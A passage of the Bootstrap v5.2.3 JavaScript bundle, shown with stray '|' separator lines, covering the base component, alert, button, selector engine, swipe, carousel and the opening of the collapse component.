if (!element) {
|
|
return;
|
|
}
|
|
|
|
this._element = element;
|
|
this._config = this._getConfig(config);
|
|
Data.set(this._element, this.constructor.DATA_KEY, this);
|
|
} // Public
|
|
|
|
|
|
dispose() {
|
|
Data.remove(this._element, this.constructor.DATA_KEY);
|
|
EventHandler.off(this._element, this.constructor.EVENT_KEY);
|
|
|
|
for (const propertyName of Object.getOwnPropertyNames(this)) {
|
|
this[propertyName] = null;
|
|
}
|
|
}
|
|
|
|
_queueCallback(callback, element, isAnimated = true) {
|
|
executeAfterTransition(callback, element, isAnimated);
|
|
}
|
|
|
|
_getConfig(config) {
|
|
config = this._mergeConfigObj(config, this._element);
|
|
config = this._configAfterMerge(config);
|
|
|
|
this._typeCheckConfig(config);
|
|
|
|
return config;
|
|
} // Static
|
|
|
|
|
|
static getInstance(element) {
|
|
return Data.get(getElement(element), this.DATA_KEY);
|
|
}
|
|
|
|
static getOrCreateInstance(element, config = {}) {
|
|
return this.getInstance(element) || new this(element, typeof config === 'object' ? config : null);
|
|
}
|
|
|
|
static get VERSION() {
|
|
return VERSION;
|
|
}
|
|
|
|
static get DATA_KEY() {
|
|
return `bs.${this.NAME}`;
|
|
}
|
|
|
|
static get EVENT_KEY() {
|
|
return `.${this.DATA_KEY}`;
|
|
}
|
|
|
|
static eventName(name) {
|
|
return `${name}${this.EVENT_KEY}`;
|
|
}
|
|
|
|
}
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): util/component-functions.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
|
|
const enableDismissTrigger = (component, method = 'hide') => {
|
|
const clickEvent = `click.dismiss${component.EVENT_KEY}`;
|
|
const name = component.NAME;
|
|
EventHandler.on(document, clickEvent, `[data-bs-dismiss="${name}"]`, function (event) {
|
|
if (['A', 'AREA'].includes(this.tagName)) {
|
|
event.preventDefault();
|
|
}
|
|
|
|
if (isDisabled(this)) {
|
|
return;
|
|
}
|
|
|
|
const target = getElementFromSelector(this) || this.closest(`.${name}`);
|
|
const instance = component.getOrCreateInstance(target); // Method argument is left, for Alert and only, as it doesn't implement the 'hide' method
|
|
|
|
instance[method]();
|
|
});
|
|
};
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): alert.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME$f = 'alert';
|
|
const DATA_KEY$a = 'bs.alert';
|
|
const EVENT_KEY$b = `.${DATA_KEY$a}`;
|
|
const EVENT_CLOSE = `close${EVENT_KEY$b}`;
|
|
const EVENT_CLOSED = `closed${EVENT_KEY$b}`;
|
|
const CLASS_NAME_FADE$5 = 'fade';
|
|
const CLASS_NAME_SHOW$8 = 'show';
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class Alert extends BaseComponent {
|
|
// Getters
|
|
static get NAME() {
|
|
return NAME$f;
|
|
} // Public
|
|
|
|
|
|
close() {
|
|
const closeEvent = EventHandler.trigger(this._element, EVENT_CLOSE);
|
|
|
|
if (closeEvent.defaultPrevented) {
|
|
return;
|
|
}
|
|
|
|
this._element.classList.remove(CLASS_NAME_SHOW$8);
|
|
|
|
const isAnimated = this._element.classList.contains(CLASS_NAME_FADE$5);
|
|
|
|
this._queueCallback(() => this._destroyElement(), this._element, isAnimated);
|
|
} // Private
|
|
|
|
|
|
_destroyElement() {
|
|
this._element.remove();
|
|
|
|
EventHandler.trigger(this._element, EVENT_CLOSED);
|
|
this.dispose();
|
|
} // Static
|
|
|
|
|
|
static jQueryInterface(config) {
|
|
return this.each(function () {
|
|
const data = Alert.getOrCreateInstance(this);
|
|
|
|
if (typeof config !== 'string') {
|
|
return;
|
|
}
|
|
|
|
if (data[config] === undefined || config.startsWith('_') || config === 'constructor') {
|
|
throw new TypeError(`No method named "${config}"`);
|
|
}
|
|
|
|
data[config](this);
|
|
});
|
|
}
|
|
|
|
}
|
|
/**
|
|
* Data API implementation
|
|
*/
|
|
|
|
|
|
enableDismissTrigger(Alert, 'close');
|
|
/**
|
|
* jQuery
|
|
*/
|
|
|
|
defineJQueryPlugin(Alert);
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): button.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME$e = 'button';
|
|
const DATA_KEY$9 = 'bs.button';
|
|
const EVENT_KEY$a = `.${DATA_KEY$9}`;
|
|
const DATA_API_KEY$6 = '.data-api';
|
|
const CLASS_NAME_ACTIVE$3 = 'active';
|
|
const SELECTOR_DATA_TOGGLE$5 = '[data-bs-toggle="button"]';
|
|
const EVENT_CLICK_DATA_API$6 = `click${EVENT_KEY$a}${DATA_API_KEY$6}`;
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class Button extends BaseComponent {
|
|
// Getters
|
|
static get NAME() {
|
|
return NAME$e;
|
|
} // Public
|
|
|
|
|
|
toggle() {
|
|
// Toggle class and sync the `aria-pressed` attribute with the return value of the `.toggle()` method
|
|
this._element.setAttribute('aria-pressed', this._element.classList.toggle(CLASS_NAME_ACTIVE$3));
|
|
} // Static
|
|
|
|
|
|
static jQueryInterface(config) {
|
|
return this.each(function () {
|
|
const data = Button.getOrCreateInstance(this);
|
|
|
|
if (config === 'toggle') {
|
|
data[config]();
|
|
}
|
|
});
|
|
}
|
|
|
|
}
|
|
/**
|
|
* Data API implementation
|
|
*/
|
|
|
|
|
|
EventHandler.on(document, EVENT_CLICK_DATA_API$6, SELECTOR_DATA_TOGGLE$5, event => {
|
|
event.preventDefault();
|
|
const button = event.target.closest(SELECTOR_DATA_TOGGLE$5);
|
|
const data = Button.getOrCreateInstance(button);
|
|
data.toggle();
|
|
});
|
|
/**
|
|
* jQuery
|
|
*/
|
|
|
|
defineJQueryPlugin(Button);
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): dom/selector-engine.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const SelectorEngine = {
|
|
find(selector, element = document.documentElement) {
|
|
return [].concat(...Element.prototype.querySelectorAll.call(element, selector));
|
|
},
|
|
|
|
findOne(selector, element = document.documentElement) {
|
|
return Element.prototype.querySelector.call(element, selector);
|
|
},
|
|
|
|
children(element, selector) {
|
|
return [].concat(...element.children).filter(child => child.matches(selector));
|
|
},
|
|
|
|
parents(element, selector) {
|
|
const parents = [];
|
|
let ancestor = element.parentNode.closest(selector);
|
|
|
|
while (ancestor) {
|
|
parents.push(ancestor);
|
|
ancestor = ancestor.parentNode.closest(selector);
|
|
}
|
|
|
|
return parents;
|
|
},
|
|
|
|
prev(element, selector) {
|
|
let previous = element.previousElementSibling;
|
|
|
|
while (previous) {
|
|
if (previous.matches(selector)) {
|
|
return [previous];
|
|
}
|
|
|
|
previous = previous.previousElementSibling;
|
|
}
|
|
|
|
return [];
|
|
},
|
|
|
|
// TODO: this is now unused; remove later along with prev()
|
|
next(element, selector) {
|
|
let next = element.nextElementSibling;
|
|
|
|
while (next) {
|
|
if (next.matches(selector)) {
|
|
return [next];
|
|
}
|
|
|
|
next = next.nextElementSibling;
|
|
}
|
|
|
|
return [];
|
|
},
|
|
|
|
focusableChildren(element) {
|
|
const focusables = ['a', 'button', 'input', 'textarea', 'select', 'details', '[tabindex]', '[contenteditable="true"]'].map(selector => `${selector}:not([tabindex^="-"])`).join(',');
|
|
return this.find(focusables, element).filter(el => !isDisabled(el) && isVisible(el));
|
|
}
|
|
|
|
};
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): util/swipe.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME$d = 'swipe';
|
|
const EVENT_KEY$9 = '.bs.swipe';
|
|
const EVENT_TOUCHSTART = `touchstart${EVENT_KEY$9}`;
|
|
const EVENT_TOUCHMOVE = `touchmove${EVENT_KEY$9}`;
|
|
const EVENT_TOUCHEND = `touchend${EVENT_KEY$9}`;
|
|
const EVENT_POINTERDOWN = `pointerdown${EVENT_KEY$9}`;
|
|
const EVENT_POINTERUP = `pointerup${EVENT_KEY$9}`;
|
|
const POINTER_TYPE_TOUCH = 'touch';
|
|
const POINTER_TYPE_PEN = 'pen';
|
|
const CLASS_NAME_POINTER_EVENT = 'pointer-event';
|
|
const SWIPE_THRESHOLD = 40;
|
|
const Default$c = {
|
|
endCallback: null,
|
|
leftCallback: null,
|
|
rightCallback: null
|
|
};
|
|
const DefaultType$c = {
|
|
endCallback: '(function|null)',
|
|
leftCallback: '(function|null)',
|
|
rightCallback: '(function|null)'
|
|
};
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class Swipe extends Config {
|
|
constructor(element, config) {
|
|
super();
|
|
this._element = element;
|
|
|
|
if (!element || !Swipe.isSupported()) {
|
|
return;
|
|
}
|
|
|
|
this._config = this._getConfig(config);
|
|
this._deltaX = 0;
|
|
this._supportPointerEvents = Boolean(window.PointerEvent);
|
|
|
|
this._initEvents();
|
|
} // Getters
|
|
|
|
|
|
static get Default() {
|
|
return Default$c;
|
|
}
|
|
|
|
static get DefaultType() {
|
|
return DefaultType$c;
|
|
}
|
|
|
|
static get NAME() {
|
|
return NAME$d;
|
|
} // Public
|
|
|
|
|
|
dispose() {
|
|
EventHandler.off(this._element, EVENT_KEY$9);
|
|
} // Private
|
|
|
|
|
|
_start(event) {
|
|
if (!this._supportPointerEvents) {
|
|
this._deltaX = event.touches[0].clientX;
|
|
return;
|
|
}
|
|
|
|
if (this._eventIsPointerPenTouch(event)) {
|
|
this._deltaX = event.clientX;
|
|
}
|
|
}
|
|
|
|
_end(event) {
|
|
if (this._eventIsPointerPenTouch(event)) {
|
|
this._deltaX = event.clientX - this._deltaX;
|
|
}
|
|
|
|
this._handleSwipe();
|
|
|
|
execute(this._config.endCallback);
|
|
}
|
|
|
|
_move(event) {
|
|
this._deltaX = event.touches && event.touches.length > 1 ? 0 : event.touches[0].clientX - this._deltaX;
|
|
}
|
|
|
|
_handleSwipe() {
|
|
const absDeltaX = Math.abs(this._deltaX);
|
|
|
|
if (absDeltaX <= SWIPE_THRESHOLD) {
|
|
return;
|
|
}
|
|
|
|
const direction = absDeltaX / this._deltaX;
|
|
this._deltaX = 0;
|
|
|
|
if (!direction) {
|
|
return;
|
|
}
|
|
|
|
execute(direction > 0 ? this._config.rightCallback : this._config.leftCallback);
|
|
}
|
|
|
|
_initEvents() {
|
|
if (this._supportPointerEvents) {
|
|
EventHandler.on(this._element, EVENT_POINTERDOWN, event => this._start(event));
|
|
EventHandler.on(this._element, EVENT_POINTERUP, event => this._end(event));
|
|
|
|
this._element.classList.add(CLASS_NAME_POINTER_EVENT);
|
|
} else {
|
|
EventHandler.on(this._element, EVENT_TOUCHSTART, event => this._start(event));
|
|
EventHandler.on(this._element, EVENT_TOUCHMOVE, event => this._move(event));
|
|
EventHandler.on(this._element, EVENT_TOUCHEND, event => this._end(event));
|
|
}
|
|
}
|
|
|
|
_eventIsPointerPenTouch(event) {
|
|
return this._supportPointerEvents && (event.pointerType === POINTER_TYPE_PEN || event.pointerType === POINTER_TYPE_TOUCH);
|
|
} // Static
|
|
|
|
|
|
static isSupported() {
|
|
return 'ontouchstart' in document.documentElement || navigator.maxTouchPoints > 0;
|
|
}
|
|
|
|
}
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): carousel.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME$c = 'carousel';
|
|
const DATA_KEY$8 = 'bs.carousel';
|
|
const EVENT_KEY$8 = `.${DATA_KEY$8}`;
|
|
const DATA_API_KEY$5 = '.data-api';
|
|
const ARROW_LEFT_KEY$1 = 'ArrowLeft';
|
|
const ARROW_RIGHT_KEY$1 = 'ArrowRight';
|
|
const TOUCHEVENT_COMPAT_WAIT = 500; // Time for mouse compat events to fire after touch
|
|
|
|
const ORDER_NEXT = 'next';
|
|
const ORDER_PREV = 'prev';
|
|
const DIRECTION_LEFT = 'left';
|
|
const DIRECTION_RIGHT = 'right';
|
|
const EVENT_SLIDE = `slide${EVENT_KEY$8}`;
|
|
const EVENT_SLID = `slid${EVENT_KEY$8}`;
|
|
const EVENT_KEYDOWN$1 = `keydown${EVENT_KEY$8}`;
|
|
const EVENT_MOUSEENTER$1 = `mouseenter${EVENT_KEY$8}`;
|
|
const EVENT_MOUSELEAVE$1 = `mouseleave${EVENT_KEY$8}`;
|
|
const EVENT_DRAG_START = `dragstart${EVENT_KEY$8}`;
|
|
const EVENT_LOAD_DATA_API$3 = `load${EVENT_KEY$8}${DATA_API_KEY$5}`;
|
|
const EVENT_CLICK_DATA_API$5 = `click${EVENT_KEY$8}${DATA_API_KEY$5}`;
|
|
const CLASS_NAME_CAROUSEL = 'carousel';
|
|
const CLASS_NAME_ACTIVE$2 = 'active';
|
|
const CLASS_NAME_SLIDE = 'slide';
|
|
const CLASS_NAME_END = 'carousel-item-end';
|
|
const CLASS_NAME_START = 'carousel-item-start';
|
|
const CLASS_NAME_NEXT = 'carousel-item-next';
|
|
const CLASS_NAME_PREV = 'carousel-item-prev';
|
|
const SELECTOR_ACTIVE = '.active';
|
|
const SELECTOR_ITEM = '.carousel-item';
|
|
const SELECTOR_ACTIVE_ITEM = SELECTOR_ACTIVE + SELECTOR_ITEM;
|
|
const SELECTOR_ITEM_IMG = '.carousel-item img';
|
|
const SELECTOR_INDICATORS = '.carousel-indicators';
|
|
const SELECTOR_DATA_SLIDE = '[data-bs-slide], [data-bs-slide-to]';
|
|
const SELECTOR_DATA_RIDE = '[data-bs-ride="carousel"]';
|
|
const KEY_TO_DIRECTION = {
|
|
[ARROW_LEFT_KEY$1]: DIRECTION_RIGHT,
|
|
[ARROW_RIGHT_KEY$1]: DIRECTION_LEFT
|
|
};
|
|
const Default$b = {
|
|
interval: 5000,
|
|
keyboard: true,
|
|
pause: 'hover',
|
|
ride: false,
|
|
touch: true,
|
|
wrap: true
|
|
};
|
|
const DefaultType$b = {
|
|
interval: '(number|boolean)',
|
|
// TODO:v6 remove boolean support
|
|
keyboard: 'boolean',
|
|
pause: '(string|boolean)',
|
|
ride: '(boolean|string)',
|
|
touch: 'boolean',
|
|
wrap: 'boolean'
|
|
};
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class Carousel extends BaseComponent {
|
|
constructor(element, config) {
|
|
super(element, config);
|
|
this._interval = null;
|
|
this._activeElement = null;
|
|
this._isSliding = false;
|
|
this.touchTimeout = null;
|
|
this._swipeHelper = null;
|
|
this._indicatorsElement = SelectorEngine.findOne(SELECTOR_INDICATORS, this._element);
|
|
|
|
this._addEventListeners();
|
|
|
|
if (this._config.ride === CLASS_NAME_CAROUSEL) {
|
|
this.cycle();
|
|
}
|
|
} // Getters
|
|
|
|
|
|
static get Default() {
|
|
return Default$b;
|
|
}
|
|
|
|
static get DefaultType() {
|
|
return DefaultType$b;
|
|
}
|
|
|
|
static get NAME() {
|
|
return NAME$c;
|
|
} // Public
|
|
|
|
|
|
next() {
|
|
this._slide(ORDER_NEXT);
|
|
}
|
|
|
|
nextWhenVisible() {
|
|
// FIXME TODO use `document.visibilityState`
|
|
// Don't call next when the page isn't visible
|
|
// or the carousel or its parent isn't visible
|
|
if (!document.hidden && isVisible(this._element)) {
|
|
this.next();
|
|
}
|
|
}
|
|
|
|
prev() {
|
|
this._slide(ORDER_PREV);
|
|
}
|
|
|
|
pause() {
|
|
if (this._isSliding) {
|
|
triggerTransitionEnd(this._element);
|
|
}
|
|
|
|
this._clearInterval();
|
|
}
|
|
|
|
cycle() {
|
|
this._clearInterval();
|
|
|
|
this._updateInterval();
|
|
|
|
this._interval = setInterval(() => this.nextWhenVisible(), this._config.interval);
|
|
}
|
|
|
|
_maybeEnableCycle() {
|
|
if (!this._config.ride) {
|
|
return;
|
|
}
|
|
|
|
if (this._isSliding) {
|
|
EventHandler.one(this._element, EVENT_SLID, () => this.cycle());
|
|
return;
|
|
}
|
|
|
|
this.cycle();
|
|
}
|
|
|
|
to(index) {
|
|
const items = this._getItems();
|
|
|
|
if (index > items.length - 1 || index < 0) {
|
|
return;
|
|
}
|
|
|
|
if (this._isSliding) {
|
|
EventHandler.one(this._element, EVENT_SLID, () => this.to(index));
|
|
return;
|
|
}
|
|
|
|
const activeIndex = this._getItemIndex(this._getActive());
|
|
|
|
if (activeIndex === index) {
|
|
return;
|
|
}
|
|
|
|
const order = index > activeIndex ? ORDER_NEXT : ORDER_PREV;
|
|
|
|
this._slide(order, items[index]);
|
|
}
|
|
|
|
dispose() {
|
|
if (this._swipeHelper) {
|
|
this._swipeHelper.dispose();
|
|
}
|
|
|
|
super.dispose();
|
|
} // Private
|
|
|
|
|
|
_configAfterMerge(config) {
|
|
config.defaultInterval = config.interval;
|
|
return config;
|
|
}
|
|
|
|
_addEventListeners() {
|
|
if (this._config.keyboard) {
|
|
EventHandler.on(this._element, EVENT_KEYDOWN$1, event => this._keydown(event));
|
|
}
|
|
|
|
if (this._config.pause === 'hover') {
|
|
EventHandler.on(this._element, EVENT_MOUSEENTER$1, () => this.pause());
|
|
EventHandler.on(this._element, EVENT_MOUSELEAVE$1, () => this._maybeEnableCycle());
|
|
}
|
|
|
|
if (this._config.touch && Swipe.isSupported()) {
|
|
this._addTouchEventListeners();
|
|
}
|
|
}
|
|
|
|
_addTouchEventListeners() {
|
|
for (const img of SelectorEngine.find(SELECTOR_ITEM_IMG, this._element)) {
|
|
EventHandler.on(img, EVENT_DRAG_START, event => event.preventDefault());
|
|
}
|
|
|
|
const endCallBack = () => {
|
|
if (this._config.pause !== 'hover') {
|
|
return;
|
|
} // If it's a touch-enabled device, mouseenter/leave are fired as
|
|
// part of the mouse compatibility events on first tap - the carousel
|
|
// would stop cycling until user tapped out of it;
|
|
// here, we listen for touchend, explicitly pause the carousel
|
|
// (as if it's the second time we tap on it, mouseenter compat event
|
|
// is NOT fired) and after a timeout (to allow for mouse compatibility
|
|
// events to fire) we explicitly restart cycling
|
|
|
|
|
|
this.pause();
|
|
|
|
if (this.touchTimeout) {
|
|
clearTimeout(this.touchTimeout);
|
|
}
|
|
|
|
this.touchTimeout = setTimeout(() => this._maybeEnableCycle(), TOUCHEVENT_COMPAT_WAIT + this._config.interval);
|
|
};
|
|
|
|
const swipeConfig = {
|
|
leftCallback: () => this._slide(this._directionToOrder(DIRECTION_LEFT)),
|
|
rightCallback: () => this._slide(this._directionToOrder(DIRECTION_RIGHT)),
|
|
endCallback: endCallBack
|
|
};
|
|
this._swipeHelper = new Swipe(this._element, swipeConfig);
|
|
}
|
|
|
|
_keydown(event) {
|
|
if (/input|textarea/i.test(event.target.tagName)) {
|
|
return;
|
|
}
|
|
|
|
const direction = KEY_TO_DIRECTION[event.key];
|
|
|
|
if (direction) {
|
|
event.preventDefault();
|
|
|
|
this._slide(this._directionToOrder(direction));
|
|
}
|
|
}
|
|
|
|
_getItemIndex(element) {
|
|
return this._getItems().indexOf(element);
|
|
}
|
|
|
|
_setActiveIndicatorElement(index) {
|
|
if (!this._indicatorsElement) {
|
|
return;
|
|
}
|
|
|
|
const activeIndicator = SelectorEngine.findOne(SELECTOR_ACTIVE, this._indicatorsElement);
|
|
activeIndicator.classList.remove(CLASS_NAME_ACTIVE$2);
|
|
activeIndicator.removeAttribute('aria-current');
|
|
const newActiveIndicator = SelectorEngine.findOne(`[data-bs-slide-to="${index}"]`, this._indicatorsElement);
|
|
|
|
if (newActiveIndicator) {
|
|
newActiveIndicator.classList.add(CLASS_NAME_ACTIVE$2);
|
|
newActiveIndicator.setAttribute('aria-current', 'true');
|
|
}
|
|
}
|
|
|
|
_updateInterval() {
|
|
const element = this._activeElement || this._getActive();
|
|
|
|
if (!element) {
|
|
return;
|
|
}
|
|
|
|
const elementInterval = Number.parseInt(element.getAttribute('data-bs-interval'), 10);
|
|
this._config.interval = elementInterval || this._config.defaultInterval;
|
|
}
|
|
|
|
_slide(order, element = null) {
|
|
if (this._isSliding) {
|
|
return;
|
|
}
|
|
|
|
const activeElement = this._getActive();
|
|
|
|
const isNext = order === ORDER_NEXT;
|
|
const nextElement = element || getNextActiveElement(this._getItems(), activeElement, isNext, this._config.wrap);
|
|
|
|
if (nextElement === activeElement) {
|
|
return;
|
|
}
|
|
|
|
const nextElementIndex = this._getItemIndex(nextElement);
|
|
|
|
const triggerEvent = eventName => {
|
|
return EventHandler.trigger(this._element, eventName, {
|
|
relatedTarget: nextElement,
|
|
direction: this._orderToDirection(order),
|
|
from: this._getItemIndex(activeElement),
|
|
to: nextElementIndex
|
|
});
|
|
};
|
|
|
|
const slideEvent = triggerEvent(EVENT_SLIDE);
|
|
|
|
if (slideEvent.defaultPrevented) {
|
|
return;
|
|
}
|
|
|
|
if (!activeElement || !nextElement) {
|
|
// Some weirdness is happening, so we bail
|
|
// todo: change tests that use empty divs to avoid this check
|
|
return;
|
|
}
|
|
|
|
const isCycling = Boolean(this._interval);
|
|
this.pause();
|
|
this._isSliding = true;
|
|
|
|
this._setActiveIndicatorElement(nextElementIndex);
|
|
|
|
this._activeElement = nextElement;
|
|
const directionalClassName = isNext ? CLASS_NAME_START : CLASS_NAME_END;
|
|
const orderClassName = isNext ? CLASS_NAME_NEXT : CLASS_NAME_PREV;
|
|
nextElement.classList.add(orderClassName);
|
|
reflow(nextElement);
|
|
activeElement.classList.add(directionalClassName);
|
|
nextElement.classList.add(directionalClassName);
|
|
|
|
const completeCallBack = () => {
|
|
nextElement.classList.remove(directionalClassName, orderClassName);
|
|
nextElement.classList.add(CLASS_NAME_ACTIVE$2);
|
|
activeElement.classList.remove(CLASS_NAME_ACTIVE$2, orderClassName, directionalClassName);
|
|
this._isSliding = false;
|
|
triggerEvent(EVENT_SLID);
|
|
};
|
|
|
|
this._queueCallback(completeCallBack, activeElement, this._isAnimated());
|
|
|
|
if (isCycling) {
|
|
this.cycle();
|
|
}
|
|
}
|
|
|
|
_isAnimated() {
|
|
return this._element.classList.contains(CLASS_NAME_SLIDE);
|
|
}
|
|
|
|
_getActive() {
|
|
return SelectorEngine.findOne(SELECTOR_ACTIVE_ITEM, this._element);
|
|
}
|
|
|
|
_getItems() {
|
|
return SelectorEngine.find(SELECTOR_ITEM, this._element);
|
|
}
|
|
|
|
_clearInterval() {
|
|
if (this._interval) {
|
|
clearInterval(this._interval);
|
|
this._interval = null;
|
|
}
|
|
}
|
|
|
|
_directionToOrder(direction) {
|
|
if (isRTL()) {
|
|
return direction === DIRECTION_LEFT ? ORDER_PREV : ORDER_NEXT;
|
|
}
|
|
|
|
return direction === DIRECTION_LEFT ? ORDER_NEXT : ORDER_PREV;
|
|
}
|
|
|
|
_orderToDirection(order) {
|
|
if (isRTL()) {
|
|
return order === ORDER_PREV ? DIRECTION_LEFT : DIRECTION_RIGHT;
|
|
}
|
|
|
|
return order === ORDER_PREV ? DIRECTION_RIGHT : DIRECTION_LEFT;
|
|
} // Static
|
|
|
|
|
|
static jQueryInterface(config) {
|
|
return this.each(function () {
|
|
const data = Carousel.getOrCreateInstance(this, config);
|
|
|
|
if (typeof config === 'number') {
|
|
data.to(config);
|
|
return;
|
|
}
|
|
|
|
if (typeof config === 'string') {
|
|
if (data[config] === undefined || config.startsWith('_') || config === 'constructor') {
|
|
throw new TypeError(`No method named "${config}"`);
|
|
}
|
|
|
|
data[config]();
|
|
}
|
|
});
|
|
}
|
|
|
|
}
|
|
/**
|
|
* Data API implementation
|
|
*/
|
|
|
|
|
|
EventHandler.on(document, EVENT_CLICK_DATA_API$5, SELECTOR_DATA_SLIDE, function (event) {
|
|
const target = getElementFromSelector(this);
|
|
|
|
if (!target || !target.classList.contains(CLASS_NAME_CAROUSEL)) {
|
|
return;
|
|
}
|
|
|
|
event.preventDefault();
|
|
const carousel = Carousel.getOrCreateInstance(target);
|
|
const slideIndex = this.getAttribute('data-bs-slide-to');
|
|
|
|
if (slideIndex) {
|
|
carousel.to(slideIndex);
|
|
|
|
carousel._maybeEnableCycle();
|
|
|
|
return;
|
|
}
|
|
|
|
if (Manipulator.getDataAttribute(this, 'slide') === 'next') {
|
|
carousel.next();
|
|
|
|
carousel._maybeEnableCycle();
|
|
|
|
return;
|
|
}
|
|
|
|
carousel.prev();
|
|
|
|
carousel._maybeEnableCycle();
|
|
});
|
|
EventHandler.on(window, EVENT_LOAD_DATA_API$3, () => {
|
|
const carousels = SelectorEngine.find(SELECTOR_DATA_RIDE);
|
|
|
|
for (const carousel of carousels) {
|
|
Carousel.getOrCreateInstance(carousel);
|
|
}
|
|
});
|
|
/**
|
|
* jQuery
|
|
*/
|
|
|
|
defineJQueryPlugin(Carousel);
|
|
|
|
/**
|
|
* --------------------------------------------------------------------------
|
|
* Bootstrap (v5.2.3): collapse.js
|
|
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
|
|
* --------------------------------------------------------------------------
|
|
*/
|
|
/**
|
|
* Constants
|
|
*/
|
|
|
|
const NAME$b = 'collapse';
|
|
const DATA_KEY$7 = 'bs.collapse';
|
|
const EVENT_KEY$7 = `.${DATA_KEY$7}`;
|
|
const DATA_API_KEY$4 = '.data-api';
|
|
const EVENT_SHOW$6 = `show${EVENT_KEY$7}`;
|
|
const EVENT_SHOWN$6 = `shown${EVENT_KEY$7}`;
|
|
const EVENT_HIDE$6 = `hide${EVENT_KEY$7}`;
|
|
const EVENT_HIDDEN$6 = `hidden${EVENT_KEY$7}`;
|
|
const EVENT_CLICK_DATA_API$4 = `click${EVENT_KEY$7}${DATA_API_KEY$4}`;
|
|
const CLASS_NAME_SHOW$7 = 'show';
|
|
const CLASS_NAME_COLLAPSE = 'collapse';
|
|
const CLASS_NAME_COLLAPSING = 'collapsing';
|
|
const CLASS_NAME_COLLAPSED = 'collapsed';
|
|
const CLASS_NAME_DEEPER_CHILDREN = `:scope .${CLASS_NAME_COLLAPSE} .${CLASS_NAME_COLLAPSE}`;
|
|
const CLASS_NAME_HORIZONTAL = 'collapse-horizontal';
|
|
const WIDTH = 'width';
|
|
const HEIGHT = 'height';
|
|
const SELECTOR_ACTIVES = '.collapse.show, .collapse.collapsing';
|
|
const SELECTOR_DATA_TOGGLE$4 = '[data-bs-toggle="collapse"]';
|
|
const Default$a = {
|
|
parent: null,
|
|
toggle: true
|
|
};
|
|
const DefaultType$a = {
|
|
parent: '(null|element)',
|
|
toggle: 'boolean'
|
|
};
|
|
/**
|
|
* Class definition
|
|
*/
|
|
|
|
class Collapse extends BaseComponent {
|
|
constructor(element, config) {
|
|
super(element, config);
|
|
this._isTransitioning = false;
|
|
this._triggerArray = [];
|
|
const toggleList = SelectorEngine.find(SELECTOR_DATA_TOGGLE$4);
|
|
|
|
for (const elem of toggleList) {
|
|
const selector = getSelectorFromElement(elem);
|
|
const filterElement = SelectorEngine.find(selector).filter(foundElement => foundElement === this._element);
|
|
|
|
if (selector !== null && filterElement.length) {
|
|
this._triggerArray.push(elem);
|
|
}
|
|
}
|
|
|
|
this._initializeChildren();
|
|
|
|
if (!this._config.parent) {
|
|
this._addAriaAndCollapsedClass(this._triggerArray, this._isShown());
|
|
}
|
|
|
|
if (this._config.toggle) {
|
|
this.toggle();
|
|
}
|
|
} // Getters
|
|
|
|
|
|
static get Default() {
|
|
return Default$a;
|
|
}
|
|
|
|
static get DefaultType() {
|
|
return DefaultType$a;
|
|
}
|
|
|
|
static get NAME() {
|
|
return NAME$b;
|
|
} // Public
|
|
|
|
|
|
toggle() {
|
|
if (this._isShown()) {
|
|
this.hide();
|
|
} else {
|
|
this.show();
|
|
}
|
|
}
|
|
|
|
show() {
|
|
if (this._isTransitioning || this._isShown()) {
|
|
return;
|
|
}
|
|
|
|
let activeChildren = []; // find active children
|
|
|
|
if (this._config.parent) {
|
|
activeChildren = this._getFirstLevelChildren(SELECTOR_ACTIVES).filter(element => element !== this._element).map(element => Collapse.getOrCreateInstance(element, {
|
|
toggle: false
|
|
}));
|
|
}
|
|
|
|
if (activeChildren.length && activeChildren[0]._isTransitioning) {
|
|
return;
|
|
}
|
|
|
|
const startEvent = EventHandler.trigger(this._element, EVENT_SHOW$6);
|
|
|
|
if (startEvent.defaultPrevented) {
|
|
return;
|
|
}
|
|
|
|
for (const activeInstance of activeChildren) {
|
|
activeInstance.hide();
|
|
}
|
|
|
|
const dimension = this._getDimension();
|
|
|
|
this._element.classList.remove(CLASS_NAME_COLLAPSE);
|
|
|
|
this._element.classList.add(CLASS_NAME_COLLAPSING);
|
|
|
|
this._element.style[dimension] = 0;
|
|
|
|
this._addAriaAndCollapsedClass(this._triggerArray, true);
|
|
|
|
this._isTransitioning = true;
|
|
|
|
const complete = () => {
|
|
this._isTransitioning = false;
|
|
|
|
this._element.classList.remove(CLASS_NAME_COLLAPSING);
|
|
|
|
this._element.classList.add(CLASS_NAME_COLLAPSE, CLASS_NAME_SHOW$7);
|
|
|
|
this._element.style[dimension] = '';
|
|
EventHandler.trigger(this._element, EVENT_SHOWN$6);
|
|
};
|
|
|
|
